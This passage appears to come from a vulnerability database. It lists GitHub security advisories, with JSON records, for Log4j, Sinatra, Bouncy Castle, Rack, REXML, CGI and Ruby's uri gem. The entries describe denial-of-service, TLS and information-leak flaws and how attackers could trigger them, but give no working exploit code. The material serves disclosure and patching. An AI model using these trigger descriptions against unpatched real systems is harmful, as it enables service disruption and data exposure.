"ecosystem": "Maven",
"name": "org.apache.logging.log4j:log4j-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.0-beta9"
},
{
"fixed": "2.25.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68161"
],
"database_specific": {
"cwe_ids": [
"CWE-297"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-19T22:08:02Z",
"nvd_published_at": "2025-12-18T21:15:57Z",
"severity": "MODERATE"
},
"details": "The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true.\n\nThis issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions:\n\n * The attacker is able to intercept or redirect network traffic between the client and the log receiver.\n * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender\u2019s configured trust store (or by the default Java trust store if no custom trust store is configured).\n\n\nUsers are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue.\n\nAs an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates.",
"id": "GHSA-vc5p-v9hr-52mj",
"modified": "2025-12-19T22:08:02Z",
"published": "2025-12-18T21:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68161"
},
{
"type": "WEB",
"url": "https://github.com/apache/logging-log4j2/pull/4002"
},
{
"type": "WEB",
"url": "https://github.com/apache/logging-log4j2/commit/3b93748497e1adbbd027fda8a5e7268ec5d0d578"
},
{
"type": "WEB",
"url": "https://github.com/apache/logging-log4j2"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/xr33kyxq3sl67lwb61ggvm1fzc8k7dvx"
},
{
"type": "WEB",
"url": "https://logging.apache.org/cyclonedx/vdr.xml"
},
{
"type": "WEB",
"url": "https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName"
},
{
"type": "WEB",
"url": "https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName"
},
{
"type": "WEB",
"url": "https://logging.apache.org/security.html#CVE-2025-68161"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/12/18/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Apache Log4j does not verify the TLS hostname in its Socket Appender"
}
GHSA-MR3Q-G2MV-MR4Q
Vulnerability from github – Published: 2025-10-10 20:28 – Updated: 2025-10-13 15:46
VLAI?
Summary
Sinatra is vulnerable to ReDoS through ETag header value generation
Details
Summary
There is a denial of service vulnerability in the If-Match and If-None-Match header parsing component of Sinatra, if the etag method is used when constructing the response and you are using Ruby < 3.2.
Details
Carefully crafted input can cause If-Match and If-None-Match header parsing in Sinatra to take an unexpected amount of time, possibly resulting in a denial of service attack vector. This header is typically involved in generating the ETag header value. Any applications that use the etag method when generating a response are impacted if they are using Ruby below version 3.2.
Resources
- https://github.com/sinatra/sinatra/issues/2120 (report)
- https://github.com/sinatra/sinatra/pull/2121 (fix)
- https://github.com/sinatra/sinatra/pull/1823 (older ReDoS vulnerability)
- https://bugs.ruby-lang.org/issues/19104 (fix in Ruby >= 3.2)
Severity ?
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "sinatra"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-61921"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-10T20:28:47Z",
"nvd_published_at": "2025-10-10T20:15:38Z",
"severity": "LOW"
},
"details": "### Summary\n\nThere is a denial of service vulnerability in the `If-Match` and `If-None-Match` header parsing component of Sinatra, if the `etag` method is used when constructing the response and you are using Ruby \u003c 3.2.\n\n### Details\n\nCarefully crafted input can cause `If-Match` and `If-None-Match` header parsing in Sinatra to take an unexpected amount of time, possibly resulting in a denial of service attack vector. This header is typically involved in generating the `ETag` header value. Any applications that use the `etag` method when generating a response are impacted if they are using Ruby below version 3.2.\n\n### Resources\n\n* https://github.com/sinatra/sinatra/issues/2120 (report)\n* https://github.com/sinatra/sinatra/pull/2121 (fix)\n* https://github.com/sinatra/sinatra/pull/1823 (older ReDoS vulnerability)\n* https://bugs.ruby-lang.org/issues/19104 (fix in Ruby \u003e= 3.2)",
"id": "GHSA-mr3q-g2mv-mr4q",
"modified": "2025-10-13T15:46:28Z",
"published": "2025-10-10T20:28:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sinatra/sinatra/security/advisories/GHSA-mr3q-g2mv-mr4q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61921"
},
{
"type": "WEB",
"url": "https://github.com/sinatra/sinatra/issues/2120"
},
{
"type": "WEB",
"url": "https://github.com/sinatra/sinatra/pull/1823"
},
{
"type": "WEB",
"url": "https://github.com/sinatra/sinatra/pull/2121"
},
{
"type": "WEB",
"url": "https://github.com/sinatra/sinatra/commit/3fe8c38dc405586f7ad8f2ac748aa53e9c3615bd"
},
{
"type": "WEB",
"url": "https://github.com/sinatra/sinatra/commit/8ff496bd4877520599e1479d6efead39304edceb"
},
{
"type": "WEB",
"url": "https://bugs.ruby-lang.org/issues/19104"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/sinatra/CVE-2025-61921.yml"
},
{
"type": "PACKAGE",
"url": "https://github.com/sinatra/sinatra"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Sinatra is vulnerable to ReDoS through ETag header value generation"
}
GHSA-4CX2-FC23-5WG6
Vulnerability from github – Published: 2025-08-13 12:31 – Updated: 2025-10-17 13:58
VLAI?
Summary
Bouncy Castle for Java bcpkix, bcprov, bcpkix-fips on All (API modules) allows Excessive Allocation
Details
Allocation of Resources Without Limits or Throttling vulnerability in Legion of the Bouncy Castle Inc. Bouncy Castle for Java bcpkix, bcprov, bcpkix-fips on All (API modules) allows Excessive Allocation. This vulnerability is associated with program files https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertP... https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertPathReviewer.java , https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathRevi... https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathReviewer.java .
This issue affects Bouncy Castle for Java: from BC 1.44 through 1.78, from BCPKIX FIPS 1.0.0 through 1.0.7, from BCPKIX FIPS 2.0.0 through 2.0.7.
Severity ?
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcpkix-jdk15on"
},
"ranges": [
{
"events": [
{
"introduced": "1.44"
},
{
"fixed": "1.79"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcpkix-jdk15to18"
},
"ranges": [
{
"events": [
{
"introduced": "1.44"
},
{
"fixed": "1.79"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcpkix-jdk18on"
},
"ranges": [
{
"events": [
{
"introduced": "1.44"
},
{
"fixed": "1.79"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.7"
},
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcpkix-fips"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.0.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.7"
},
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcpkix-fips"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-8916"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-13T22:52:42Z",
"nvd_published_at": "2025-08-13T10:15:27Z",
"severity": "MODERATE"
},
"details": "Allocation of Resources Without Limits or Throttling vulnerability in Legion of the Bouncy Castle Inc. Bouncy Castle for Java bcpkix, bcprov, bcpkix-fips on All (API modules) allows Excessive Allocation. This vulnerability is associated with program files https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertP... https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertPathReviewer.java , https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathRevi... https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathReviewer.java .\n\nThis issue affects Bouncy Castle for Java: from BC 1.44 through 1.78, from BCPKIX FIPS 1.0.0 through 1.0.7, from BCPKIX FIPS 2.0.0 through 2.0.7.",
"id": "GHSA-4cx2-fc23-5wg6",
"modified": "2025-10-17T13:58:30Z",
"published": "2025-08-13T12:31:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8916"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/commit/310b30a4fbf36d13f6cc201ffa7771715641e67e"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/commit/ff444a479942d88de64004dc82c3ee32a9e9075a"
},
{
"type": "PACKAGE",
"url": "https://github.com/bcgit/bc-java"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902025%E2%80%908916"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/S:P/R:U/RE:M/U:Amber",
"type": "CVSS_V4"
}
],
"summary": "Bouncy Castle for Java bcpkix, bcprov, bcpkix-fips on All (API modules) allows Excessive Allocation"
}
GHSA-WPV5-97WM-HP9C
Vulnerability from github – Published: 2025-10-07 17:28 – Updated: 2025-10-13 15:30
VLAI?
Summary
Rack's multipart parser buffers unbounded per-part headers, enabling DoS (memory exhaustion)
Details
Summary
Rack::Multipart::Parser can accumulate unbounded data when a multipart part’s header block never terminates with the required blank line (CRLFCRLF). The parser keeps appending incoming bytes to memory without a size cap, allowing a remote attacker to exhaust memory and cause a denial of service (DoS).
Details
While reading multipart headers, the parser waits for CRLFCRLF using:
@sbuf.scan_until(/(.*?\r\n)\r\n/m)
If the terminator never appears, it continues appending data (@sbuf.concat(content)) indefinitely. There is no limit on accumulated header bytes, so a single malformed part can consume memory proportional to the request body size.
Impact
Attackers can send incomplete multipart headers to trigger high memory use, leading to process termination (OOM) or severe slowdown. The effect scales with request size limits and concurrency. All applications handling multipart uploads may be affected.
Mitigation
- Upgrade to a patched Rack version that caps per-part header size (e.g., 64 KiB).
- Until then, restrict maximum request sizes at the proxy or web server layer (e.g., Nginx
client_max_body_size).
Severity ?
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.19"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.1"
},
{
"fixed": "3.1.17"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.2"
},
{
"fixed": "3.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-61772"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-07T17:28:06Z",
"nvd_published_at": "2025-10-07T15:16:03Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`Rack::Multipart::Parser` can accumulate unbounded data when a multipart part\u2019s header block never terminates with the required blank line (`CRLFCRLF`). The parser keeps appending incoming bytes to memory without a size cap, allowing a remote attacker to exhaust memory and cause a denial of service (DoS).\n\n## Details\n\nWhile reading multipart headers, the parser waits for `CRLFCRLF` using:\n\n```ruby\n@sbuf.scan_until(/(.*?\\r\\n)\\r\\n/m)\n```\n\nIf the terminator never appears, it continues appending data (`@sbuf.concat(content)`) indefinitely. There is no limit on accumulated header bytes, so a single malformed part can consume memory proportional to the request body size.\n\n## Impact\n\nAttackers can send incomplete multipart headers to trigger high memory use, leading to process termination (OOM) or severe slowdown. The effect scales with request size limits and concurrency. All applications handling multipart uploads may be affected.\n\n## Mitigation\n\n* Upgrade to a patched Rack version that caps per-part header size (e.g., 64 KiB).\n* Until then, restrict maximum request sizes at the proxy or web server layer (e.g., Nginx `client_max_body_size`).",
"id": "GHSA-wpv5-97wm-hp9c",
"modified": "2025-10-13T15:30:01Z",
"published": "2025-10-07T17:28:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rack/rack/security/advisories/GHSA-wpv5-97wm-hp9c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61772"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/commit/589127f4ac8b5cf11cf88fb0cd116ffed4d2181e"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/commit/d869fed663b113b95a74ad53e1b5cae6ab31f29e"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/commit/e08f78c656c9394d6737c022bde087e0f33336fd"
},
{
"type": "PACKAGE",
"url": "https://github.com/rack/rack"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2025-61772.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Rack\u0027s multipart parser buffers unbounded per-part headers, enabling DoS (memory exhaustion)"
}
GHSA-22H5-PQ3X-2GF2
Vulnerability from github – Published: 2025-03-03 22:07 – Updated: 2025-11-04 00:32
VLAI?
Summary
URI allows for userinfo Leakage in URI#join, URI#merge, and URI#+
Details
There is a possibility for userinfo leakage by in the uri gem. This vulnerability has been assigned the CVE identifier CVE-2025-27221. We recommend upgrading the uri gem.
Details
The methods URI#join, URI#merge, and URI#+ retained userinfo, such as user:password, even after the host is replaced. When generating a URL to a malicious host from a URL containing secret userinfo using these methods, and having someone access that URL, an unintended userinfo leak could occur.
Please update URI gem to version 0.11.3, 0.12.4, 0.13.2, 1.0.3 or later.
Affected versions
uri gem versions < 0.11.3, 0.12.0 to 0.12.3, 0.13.0, 0.13.1 and 1.0.0 to 1.0.2.
Credits
Thanks to Tsubasa Irisawa (lambdasawa) for discovering this issue. Also thanks to nobu for additional fixes of this vulnerability.
Severity ?
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "uri"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.11.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "uri"
},
"ranges": [
{
"events": [
{
"introduced": "0.12.0"
},
{
"fixed": "0.12.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "uri"
},
"ranges": [
{
"events": [
{
"introduced": "0.13.0"
},
{
"fixed": "0.13.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "uri"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-27221"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-212"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-03T22:07:53Z",
"nvd_published_at": "2025-03-04T00:15:31Z",
"severity": "LOW"
},
"details": "There is a possibility for userinfo leakage by in the uri gem.\nThis vulnerability has been assigned the CVE identifier CVE-2025-27221. We recommend upgrading the uri gem.\n\n## Details\n\nThe methods `URI#join`, `URI#merge`, and `URI#+` retained userinfo, such as `user:password`, even after the host is replaced. When generating a URL to a malicious host from a URL containing secret userinfo using these methods, and having someone access that URL, an unintended userinfo leak could occur.\n\nPlease update URI gem to version 0.11.3, 0.12.4, 0.13.2, 1.0.3 or later.\n\n## Affected versions\n\nuri gem versions \u003c 0.11.3, 0.12.0 to 0.12.3, 0.13.0, 0.13.1 and 1.0.0 to 1.0.2.\n\n## Credits\n\nThanks to Tsubasa Irisawa (lambdasawa) for discovering this issue.\nAlso thanks to nobu for additional fixes of this vulnerability.",
"id": "GHSA-22h5-pq3x-2gf2",
"modified": "2025-11-04T00:32:21Z",
"published": "2025-03-03T22:07:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27221"
},
{
"type": "WEB",
"url": "https://github.com/ruby/uri/pull/154"
},
{
"type": "WEB",
"url": "https://github.com/ruby/uri/pull/155"
},
{
"type": "WEB",
"url": "https://github.com/ruby/uri/pull/156"
},
{
"type": "WEB",
"url": "https://github.com/ruby/uri/pull/157"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2957667"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/uri"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/uri/CVE-2025-27221.yml"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00008.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00015.html"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-27221"
},
{
"type": "WEB",
"url": "https://www.ruby-lang.org/en/news/2025/02/26/security-advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "URI allows for userinfo Leakage in URI#join, URI#merge, and URI#+"
}
GHSA-C2F4-JGMC-Q2R5
Vulnerability from github – Published: 2025-09-17 18:26 – Updated: 2025-09-19 14:41
VLAI?
Summary
REXML has DoS condition when parsing malformed XML file
Details
Impact
The REXML gems from 3.3.3 to 3.4.1 have a DoS vulnerability when parsing XML containing multiple XML declarations. If you need to parse untrusted XMLs, you may be impacted to these vulnerabilities.
Patches
REXML gems 3.4.2 or later include the patches to fix these vulnerabilities.
Workarounds
Don't parse untrusted XMLs.
References
- https://www.ruby-lang.org/en/news/2025/09/18/dos-rexml-cve-2025-58767/ : An announcement on www.ruby-lang.org
Severity ?
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.4.1"
},
"package": {
"ecosystem": "RubyGems",
"name": "rexml"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.3"
},
{
"fixed": "3.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58767"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-776"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-17T18:26:48Z",
"nvd_published_at": "2025-09-17T18:15:52Z",
"severity": "LOW"
},
"details": "### Impact\n\nThe REXML gems from 3.3.3 to 3.4.1 have a DoS vulnerability when parsing XML containing multiple XML declarations.\nIf you need to parse untrusted XMLs, you may be impacted to these vulnerabilities.\n\n### Patches\n\nREXML gems 3.4.2 or later include the patches to fix these vulnerabilities.\n\n### Workarounds\n\nDon\u0027t parse untrusted XMLs.\n\n### References\n\n* https://www.ruby-lang.org/en/news/2025/09/18/dos-rexml-cve-2025-58767/ : An announcement on www.ruby-lang.org",
"id": "GHSA-c2f4-jgmc-q2r5",
"modified": "2025-09-19T14:41:30Z",
"published": "2025-09-17T18:26:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby/rexml/security/advisories/GHSA-c2f4-jgmc-q2r5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58767"
},
{
"type": "WEB",
"url": "https://github.com/ruby/rexml/commit/5859bdeac792687eaf93d8e8f0b7e3c1e2ed5c23"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/rexml"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rexml/CVE-2025-58767.yml"
},
{
"type": "WEB",
"url": "https://www.ruby-lang.org/en/news/2025/09/18/dos-rexml-cve-2025-58767"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "REXML has DoS condition when parsing malformed XML file"
}
GHSA-GH9Q-2XRM-X6QV
Vulnerability from github – Published: 2025-03-03 20:53 – Updated: 2025-11-04 00:32
VLAI?
Summary
CGI has Denial of Service (DoS) potential in Cookie.parse
Details
There is a possibility for DoS by in the cgi gem. This vulnerability has been assigned the CVE identifier CVE-2025-27219. We recommend upgrading the cgi gem.
Details
CGI::Cookie.parse took super-linear time to parse a cookie string in some cases. Feeding a maliciously crafted cookie string into the method could lead to a Denial of Service.
Please update CGI gem to version 0.3.5.1, 0.3.7, 0.4.2 or later.
Affected versions
cgi gem versions <= 0.3.5, 0.3.6, 0.4.0 and 0.4.1.
Credits
Thanks to lio346 for discovering this issue. Also thanks to mame for fixing this vulnerability.
Severity ?
5.8 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "cgi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.5.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "cgi"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.6"
},
{
"fixed": "0.3.7"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.3.6"
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "cgi"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.0"
},
{
"fixed": "0.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-27219"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-03T20:53:43Z",
"nvd_published_at": "2025-03-04T00:15:31Z",
"severity": "MODERATE"
},
"details": "There is a possibility for DoS by in the cgi gem.\nThis vulnerability has been assigned the CVE identifier CVE-2025-27219. We recommend upgrading the cgi gem.\n\n## Details\n\nCGI::Cookie.parse took super-linear time to parse a cookie string in some cases. Feeding a maliciously crafted cookie string into the method could lead to a Denial of Service.\n\nPlease update CGI gem to version 0.3.5.1, 0.3.7, 0.4.2 or later.\n\n## Affected versions\n\ncgi gem versions \u003c= 0.3.5, 0.3.6, 0.4.0 and 0.4.1.\n\n## Credits\n\nThanks to lio346 for discovering this issue.\nAlso thanks to mame for fixing this vulnerability.",
"id": "GHSA-gh9q-2xrm-x6qv",
"modified": "2025-11-04T00:32:21Z",
"published": "2025-03-03T20:53:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27219"
},
{
"type": "WEB",
"url": "https://github.com/ruby/cgi/pull/52"
},
{
"type": "WEB",
"url": "https://github.com/ruby/cgi/pull/53"
},
{
"type": "WEB",
"url": "https://github.com/ruby/cgi/pull/54"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2936778"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/cgi"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/cgi/CVE-2025-27219.yml"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00008.html"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-27219"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "CGI has Denial of Service (DoS) potential in Cookie.parse"
}
GHSA-W9PC-FMGC-VXVW
Vulnerability from github – Published: 2025-10-07 17:27 – Updated: 2025-10-13 15:29
VLAI?
Summary
Rack: Multipart parser buffers large non‑file fields entirely in memory, enabling DoS (memory exhaustion)
Details
Summary
Rack::Multipart::Parser stores non-file form fields (parts without a filename) entirely in memory as Ruby String objects. A single large text field in a multipart/form-data request (hundreds of megabytes or more) can consume equivalent process memory, potentially leading to out-of-memory (OOM) conditions and denial of service (DoS).
Details
During multipart parsing, file parts are streamed to temporary files, but non-file parts are buffered into memory:
body = String.new # non-file → in-RAM buffer
@mime_parts[mime_index].body << content
There is no size limit on these in-memory buffers. As a result, any large text field—while technically valid—will be loaded fully into process memory before being added to params.
Impact
Attackers can send large non-file fields to trigger excessive memory usage. Impact scales with request size and concurrency, potentially leading to worker crashes or severe garbage-collection overhead. All Rack applications processing multipart form submissions are affected.
Mitigation
- Upgrade: Use a patched version of Rack that enforces a reasonable size cap for non-file fields (e.g., 2 MiB).
- Workarounds:
- Restrict maximum request body size at the web-server or proxy layer (e.g., Nginx
client_max_body_size). - Validate and reject unusually large form fields at the application level.
Severity ?
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.19"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.1"
},
{
"fixed": "3.1.17"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.2"
},
{
"fixed": "3.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-61771"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-07T17:27:07Z",
"nvd_published_at": "2025-10-07T15:16:03Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`Rack::Multipart::Parser` stores non-file form fields (parts without a `filename`) entirely in memory as Ruby `String` objects. A single large text field in a multipart/form-data request (hundreds of megabytes or more) can consume equivalent process memory, potentially leading to out-of-memory (OOM) conditions and denial of service (DoS).\n\n## Details\n\nDuring multipart parsing, file parts are streamed to temporary files, but non-file parts are buffered into memory:\n\n```ruby\nbody = String.new # non-file \u2192 in-RAM buffer\n@mime_parts[mime_index].body \u003c\u003c content\n```\n\nThere is no size limit on these in-memory buffers. As a result, any large text field\u2014while technically valid\u2014will be loaded fully into process memory before being added to `params`.\n\n## Impact\n\nAttackers can send large non-file fields to trigger excessive memory usage. Impact scales with request size and concurrency, potentially leading to worker crashes or severe garbage-collection overhead. All Rack applications processing multipart form submissions are affected.\n\n## Mitigation\n\n* **Upgrade:** Use a patched version of Rack that enforces a reasonable size cap for non-file fields (e.g., 2 MiB).\n* **Workarounds:**\n * Restrict maximum request body size at the web-server or proxy layer (e.g., Nginx `client_max_body_size`).\n * Validate and reject unusually large form fields at the application level.",
"id": "GHSA-w9pc-fmgc-vxvw",
"modified": "2025-10-13T15:29:51Z",
"published": "2025-10-07T17:27:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rack/rack/security/advisories/GHSA-w9pc-fmgc-vxvw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61771"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/commit/589127f4ac8b5cf11cf88fb0cd116ffed4d2181e"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/commit/d869fed663b113b95a74ad53e1b5cae6ab31f29e"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/commit/e08f78c656c9394d6737c022bde087e0f33336fd"
},
{
"type": "PACKAGE",
"url": "https://github.com/rack/rack"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2025-61771.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Rack: Multipart parser buffers large non\u2011file fields entirely in memory, enabling DoS (memory exhaustion)"
}
GHSA-33MH-2634-FWR2
